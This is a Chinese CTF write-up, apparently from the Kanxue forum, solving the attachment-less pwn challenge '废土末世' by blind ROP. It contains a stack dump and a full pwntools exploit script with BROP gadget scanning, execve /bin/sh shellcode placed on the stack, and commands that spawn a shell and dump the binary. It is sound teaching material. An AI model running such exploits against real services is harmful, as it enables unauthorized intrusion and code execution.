首页
社区
课程
招聘
[原创]废土末世 WP
2022-5-20 20:23 7571

[原创]废土末世 WP

xym 活跃值
4
2022-5-20 20:23
7571

作为一道没有附件的pwn题,选手所有的信息都只能通过与服务器的交互获取,对于出题方的服务器压力应该还是比较大的。不过这次看雪给每个选手提供了一个独立的docker,相比以前有很大提升,有了一个不错的做题体验。
首先在百度上搜索ctf BROP,了解一下BROP的基本知识和做题方法,发现PWN学习总结(七)—— BROP这篇文章不错。参照上面的方法,可以获取栈溢出长度为16,STOP GADGETS为0x4000B0,同时也可以探测到溢出函数的返回地址应该是0x4000CE。可以发现这两个地址距离默认基址0x400000都特别近,初步判断目标程序应该特别简小精悍。
下一步想参照文章里说的搜索BROP GADGETS,但是没有任何结果,于是逐步放宽搜索条件,从6个pop加ret改为5个、4个、3个,发现在合理范围内居然都没搜索到。但是在0x4000F5,0x4000FA,0x4000FB,0x4000FD,0x4000FE,0x400100,0x400102搜索到2个pop加ret,0x400101,0x400106搜索到一个ret(即0xC3)。很明显0x400101和0x400106之间的距离不太像是两个函数的ret,所以我们最终只发现了一个函数的ret。但作为栈溢出题,特别是溢出函数后面需要打印"TNT TNT!\n"字符串,证明这个程序里至少包含主程序和溢出函数两段代码,主程序可以不用ret,但是子函数必须有,所以可以推定0x400106为子函数代码段的结尾。同时由于没有搜索到单个pop加ret的代码,所以子函数平衡堆栈的方式应该是直接修改rsp寄存器,因此得到0x400102处代码为add rsp,10h。
通过设置返回地址的方式仔细搜索0x4000CE至0x400102的内存,发现当地址为0x4000EC,0x4000ED,0x4000EE,0x4000EF,0x4000F2,0x4000F3时虽然也没有任何输出信息,但是返回速度特别慢,通过反复测试发现应该是服务器正在等待输入,当地址设置为0x4000EC时在输入后甚至还返回了一段奇怪的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
00000000  61 23 23 23  23 23 23 23  ec 00 40 00  00 00 00 00  │a###│####│··@·│····│
00000010  ec 00 40 00  00 00 00 00  36 bf d8 8e  ff 7f 00 00  │··@·│····│6···│····│
00000020  00 00 00 00  00 00 00 00  3c bf d8 8e  ff 7f 00 00  │····│····│<···│····│
00000030  52 bf d8 8e  ff 7f 00 00  5d bf d8 8e  ff 7f 00 00  │R···│····│]···│····│
00000040  9f bf d8 8e  ff 7f 00 00 [ad bf d8 8e  ff 7f 00 00] │····│····│····│····│stack
00000050 [dd bf d8 8e  ff 7f 00 00] 00 00 00 00  00 00 00 00  │····│····│····│····│stack
00000060  21 00 00 00  00 00 00 00 [00 80 dd 8e  ff 7f 00 00] │!···│····│····│····│vvar
00000070  10 00 00 00  00 00 00 00  ff fb ab 0f  00 00 00 00  │····│····│····│····│
00000080  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  │····│····│····│····│
00000090  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  │····│····│d···│····│
000000a0  03 00 00 00  00 00 00 00  40 00 40 00  00 00 00 00  │····│····│@·@·│····│
000000b0  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  │····│····│8···│····│
000000c0  05 00 00 00  00 00 00 00  02 00 00 00  00 00 00 00  │····│····│····│····│
000000d0  07 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000e0  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000f0  09 00 00 00  00 00 00 00 [b0 00 40 00] 00 00 00 00  │····│····│··@·│····│entry point
00000100  0b 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000110  0c 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000120  0d 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000130  0e 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000140  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000150  19 00 00 00  00 00 00 00 [c9 a0 d8 8e  ff 7f 00 00] │····│····│····│····│stack
00000160  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000170  1f 00 00 00  00 00 00 00  f2 bf d8 8e  ff 7f 00 00  │····│····│····│····│
00000180  0f 00 00 00  00 00 00 00  d9 a0 d8 8e  ff 7f 00 00  │····│····│····│····│
00000190  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000001a0  00 00 00 00  00 00 00 00  00 a8 74 8e  80 3d 82 7c  │····│····│··t·│·=·|│
000001b0  d3 d8 b4 ba  0a dd bb 41  a1 78 38 36  5f 36 34 00  │····│···A│·x86│_64·│
000001c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│

通过比对本地程序的运行内存状态,可以发现输出内容就是目标程序的当前栈。其中0x4000b0作为entry point也得到了确认。但是这段内存既没有libc的地址,本该是ld地址的地方也被设置成了0。因此也没有办法通过跳转到程序外进行探测。这段内存里leak的唯一有用信息就是stack地址,而且通过0x188处的指针应该指向0x1b9处的“x86_64”可以完全确定当前0x00处对应的内存地址。
确定栈的地址后,我们就可以将返回地址设置到栈上的任意地方,考虑到这个程序实在太短,很难设置太复杂的get shell方式;同时考虑到这个程序既然连栈溢出这么简单的漏洞都有,那么加上一个栈上可执行应该不算太过分。
在简单的验证了mov rax,0x4000B0;jmp rax可以执行后,就开始了漫长的找shellcode之旅。本以为这样的shellcode百度上到处都是,没想到不是32位的就是windows的,或者是各种异型编程或者是编译不通过,一直就用不了。只好重新学习了一下linux下64位的系统调用原理,自己按照说明老老实实写了一个。
下面附上获取tnt文件的代码,最后发现获取的整个文件居然只有1104字节,可以说设计得非常精妙:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#-*- coding: utf-8 -*-
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
 
ip = "127.0.0.1"
port = 10062
buf_length = 16
 
def GetBropGadgets(buf_length, stop_gadgets, address):
    try:
        sh = remote(ip, port)
        sh.recvuntil("hacker, TNT!\n")
        #寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
        payload = 'a'*buf_length + p64(address) + p64(0)*1 + p64(stop_gadgets)
        sh.send(payload)
        output = sh.recv(timeout=1)
        sh.close()
        if not output.startswith('hacker, TNT!'):
            return False
        return True
    except Exception:
        sh.close()
        return False
 
def check(buf_length, address):
    try:
        sh = remote(ip, port)
        sh.recvuntil("hacker, TNT!\n")
        payload = 'a'*buf_length + p64(address) + p64(0)*2
        sh.send(payload)
        output = sh.recv(timeout=1)
        sh.close()
        return False
    except Exception:
        sh.close()
        return True
 
def GetStopAddr():
    address = 0x4000b0
    while 1:
        print(hex(address))
        try:
            sh = remote(ip, port)
            sh.recvuntil("hacker, TNT!\n")
            payload = 'a'*buf_length + p64(address)
            sh.send(payload)
            output = sh.recv()
            #未成功返回到main函数头部开始执行
            if not output.startswith('hacker, TNT!'):
                sh.close()
                address += 1
            else:
                return address
        #触发栈溢出异常
        except EOFError:
            address += 1
            sh.close()
 
shellcode = '''        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push '/bin///shx00' */
        mov rax,0x0068732F6E69622F
        push rax
        mov rdi, rsp
        mov rax, 0x3b
        xor rsi,rsi
        xor rdx,rdx
        syscall'''
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
#payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + p64(0x004000CEC0C74890) + p64(0x909090E0FF909090)# + 'b' * 8# + p64(0) + p64(0) + p64(0x4000B0)
payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + shellcode
sh.send(payload)
 
sleep(2)
sh.send('A')
 
sh.recv(0x188)
addr = u64(sh.recv(8)) - 0x1B9
print hex(addr)
#sh.recvuntil("hacker, TNT!\n")
#payload = '#'*buf_length + p64(addr)
#payload = 'B'*buf_length + p64(0x4000B0)
payload = 'B'*buf_length + p64(addr + 0x20)
sh.send(payload)
#sh.send(payload)
#raw_input("Enter your input: ")
 
#sh.send(p64(0x4000ec))
#sleep(1)
#sh.send(p64(0x4000ec))
sh.sendline("ls -l")
sh.recvuntil("tnt\n")
sh.sendline("cat tnt")
p = sh.recv()
file_handle=open('/home/ctf/下载/tnt',mode='wb')
file_handle.write(p)
file_handle.close()
sh.interactive()
'''
print sh.recv()
sh.close()
 
buf_length   = 16
address      = 0x400000
stop_gadgets = 0x4000B0
#stop_gadgets = GetStopAddr()
print('stop gadgets = 0x%x' % stop_gadgets)
 
while 1:
    print(hex(address))
    if GetBropGadgets(buf_length, stop_gadgets, address):
        print('possible brop gadget: 0x%x' % address)
        if check(buf_length, address):
            print('success brop gadget: 0x%x' % address)
            break
    address += 1
'''

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回